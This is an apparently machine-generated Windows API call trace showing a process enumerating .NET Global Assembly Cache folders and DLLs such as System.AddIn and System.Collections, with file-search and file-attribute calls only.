	[0088.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.691] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.691] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn\\v4.0_4.0.0.0__b77a5c561934e089\\System.AddIn.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin\\v4.0_4.0.0.0__b77a5c561934e089\\system.addin.dll"), fInfoLevelId=0x0, lpFileInformation=0x125a7ae8 | out: lpFileInformation=0x125a7ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x276b0)) returned 1
	[0088.692] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin.contract"), fInfoLevelId=0x0, lpFileInformation=0x125a7b38 | out: lpFileInformation=0x125a7b38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939ef880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x939ef880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x939ef880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.692] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin.contract"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.692] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939ef880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x939ef880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x939ef880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.692] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939ef880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x939ef880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x939ef880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.692] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939c9720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b0ecc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.692] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.692] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.692] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin.contract\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x125a7bd8 | out: lpFileInformation=0x125a7bd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939c9720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b0ecc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.692] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin.contract\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.693] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939c9720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b0ecc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.693] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939c9720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b0ecc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.693] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.693] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.693] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.693] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.AddIn.Contract.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin.contract\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.addin.contract.dll"), fInfoLevelId=0x0, lpFileInformation=0x125a7c78 | out: lpFileInformation=0x125a7c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcad8)) returned 1
	[0088.693] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections"), fInfoLevelId=0x0, lpFileInformation=0x125a7cc8 | out: lpFileInformation=0x125a7cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9d7a240, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9d7a240, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.693] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.693] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9d7a240, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9d7a240, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.693] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9d7a240, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9d7a240, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61bcd3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61bcd3a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.694] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.694] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x125a7d68 | out: lpFileInformation=0x125a7d68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61bcd3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61bcd3a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.694] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.694] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61bcd3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61bcd3a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61bcd3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61bcd3a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61bcd3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Collections.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.694] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.694] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Collections.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.collections.dll"), fInfoLevelId=0x0, lpFileInformation=0x125a7e08 | out: lpFileInformation=0x125a7e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61bcd3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c8)) returned 1
	[0088.694] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections.concurrent"), fInfoLevelId=0x0, lpFileInformation=0x125a7e58 | out: lpFileInformation=0x125a7e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.695] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections.concurrent"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.695] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.695] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.695] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61b810e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b810e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.695] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.695] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.695] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections.concurrent\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x125a7ef8 | out: lpFileInformation=0x125a7ef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61b810e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b810e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.695] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections.concurrent\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.695] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61b810e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b810e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.695] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61b810e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b810e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.695] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b810e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7308, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Collections.Concurrent.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.695] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.696] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.696] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Collections.Concurrent.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.collections.concurrent\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.collections.concurrent.dll"), fInfoLevelId=0x0, lpFileInformation=0x125a7f98 | out: lpFileInformation=0x125a7f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b810e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7308)) returned 1
	[0088.698] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel"), fInfoLevelId=0x0, lpFileInformation=0x1273e008 | out: lpFileInformation=0x1273e008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.699] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.699] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
